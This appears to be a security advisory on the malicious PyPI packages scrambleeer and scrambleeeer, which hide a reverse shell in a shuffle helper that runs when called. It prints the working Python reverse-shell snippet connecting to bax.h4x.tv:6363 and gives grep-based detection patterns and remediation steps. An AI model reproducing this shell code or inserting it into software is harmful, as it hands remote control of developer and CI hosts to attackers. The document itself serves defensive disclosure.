critical

CVE

Not assigned

CWE

CWE-506

Affected Surface

  • PyPI packages `scrambleeer==0.1.0`, `scrambleeer==0.1.1`, and `scrambleeeer==0.1.0`
  • Python applications, scripts, notebooks, and automation that called the packages' exported shuffle helpers
  • Linux and macOS developer workstations, containers, and CI runners where the calling process had outbound network access and `/bin/bash` was available
  • Dependency review workflows that treated small utility packages as low-risk because they had no install-time hook

The strongest new PyPI story from the last three days is not a giant multi-package wave. It is a smaller pair of lookalike utilities that hide a direct remote shell behind a boring helper API. scrambleeer and scrambleeeer claimed to shuffle a sequence of numbers and return a new list. The dangerous event was not pip install. It was the first time application code called the exported helper.

That is what makes the packages worth writing up for AppSec teams. A small “utility” dependency can pass a quick install test, avoid lifecycle-script defenses, and still turn a CI runner, notebook, or developer host into an attacker-controlled shell the moment normal library usage begins.

Affected packages

The affected package versions currently documented in public reporting are:

  • scrambleeer==0.1.0
  • scrambleeer==0.1.1
  • scrambleeeer==0.1.0

Public package pages show both projects were quarantined by PyPI after publication. The preserved scrambleeeer 0.1.0 page also shows how ordinary the package tried to look:

  • package description: “Shuffle a sequence of numbers, then swap the first and last values.”
  • source distribution and wheel both published on 22 August 2026
  • uploaded via twine/7.0.0 CPython/3.12.3
  • no Trusted Publishing

That is a familiar supply-chain pattern in 2026. The lure is not a complicated malware story. The lure is a package that looks too small to deserve scrutiny.

The code path that matters

Public analysis tied the malicious behavior to src/scrambleeer/core.py and src/scrambleeeer/core.py.

For scrambleeer, the reverse shell was reportedly compressed into a single semicolon-separated line inside an otherwise ordinary shuffle routine. The important part looks like this:

import socket, os, pty
s = socket.socket()
s.connect(("bax.h4x.tv", 6363))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn("/bin/bash")

That is not suspicious because of one API call. It is suspicious because of the sequence:

scrambleeer(numbers)
-> open TCP socket to bax.h4x.tv:6363
-> duplicate the socket over stdin/stdout/stderr
-> spawn /bin/bash under pty
-> continue with the visible shuffle logic

The last step matters. Public analysis says the routine still goes on to shuffle the list and return a plausible result. In other words, the package keeps its advertised behavior after handing the host’s shell to the remote side.

The scrambleeeer sibling package follows the same core pattern. Public malware records describe its exported scrambleeeer() function as opening the same hardcoded socket to bax.h4x.tv:6363, duplicating that socket onto standard file descriptors, and spawning /bin/bash through pty.spawn().

Why call-time execution matters

Many defenders now look first for malicious setup.py, pyproject.toml, or install-time wheel behavior. This pair of packages sits somewhere else.

The trigger is normal library usage. That changes the operational picture:

  • a dependency scan that focuses on install hooks can miss the real execution edge
  • a build job can install successfully and only become compromised when test or application code calls the helper
  • an analyst reviewing package metadata may see a tiny wheel and assume the risk is low
  • a malicious library can return expected application output after doing its hidden work

This is closer to the pattern seen in recent reqcrypts and RedC2 write-ups than to the classic noisy installer model. The attack path lives inside the package’s advertised runtime behavior.

Why the package design is dangerous even without persistence

The shell launcher is simple, but it is enough.

Because the code redirects stdin, stdout, and stderr into the socket before spawning /bin/bash, the operator on the other end gets an interactive command channel in the context of the calling Python process. On a developer machine, that can mean shell access to local SSH keys, cloud credentials, kubeconfigs, .env files, and browser-backed secrets. On a CI runner, it can mean immediate access to repository tokens, artifact credentials, and deployment keys already present in the job environment.

The hardcoded /bin/bash path also says something about likely victim shape. This was not written for a generic cross-platform Python audience. It was built for Unix-like hosts where a bash shell is available and outbound TCP is allowed, which matches developer laptops, CI containers, and Linux automation hosts well enough to be dangerous.

Detection and hunting

Start with inventory:

rg -n 'scrambleeer|scrambleeeer' \
  requirements.txt constraints.txt pyproject.toml poetry.lock uv.lock Pipfile Pipfile.lock

Then search extracted environments and caches for the behavioral markers:

rg -n 'bax\\.h4x\\.tv|6363|pty\\.spawn\\(\"/bin/bash\"\\)|os\\.dup2\\(|socket\\.socket\\(' \
  .venv venv site-packages build dist

If you have endpoint or workload telemetry, hunt for Python processes that resolved or connected to bax.h4x.tv, especially when the parent process was a notebook kernel, test runner, ad hoc script, or CI job. A short helper invocation followed by a long-lived outbound TCP session is the shape to look for.

Response guidance

If any host called one of these packages, treat that host as compromised.

  1. Remove the affected package and rebuild the Python environment from a known-clean base.
  2. Rotate credentials exposed to the calling process, including source-control tokens, registry credentials, cloud keys, SSH keys, and deployment secrets.
  3. Review shell history, process telemetry, and outbound connections around the first package invocation, not only around the install event.
  4. Inspect CI logs and build metadata for the package names and for unexpected network activity to bax.h4x.tv or the wider h4x.tv domain.
  5. Block these names in internal package mirrors and dependency-policy tooling so they cannot re-enter through ad hoc scripts or notebooks.

The practical lesson is simple. A package does not need an obfuscated loader, a second stage, or a fake post-install step to be dangerous. It only needs to sit on a trusted execution path and do one thing the caller did not expect. Here, the advertised helper function itself was the access vector.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References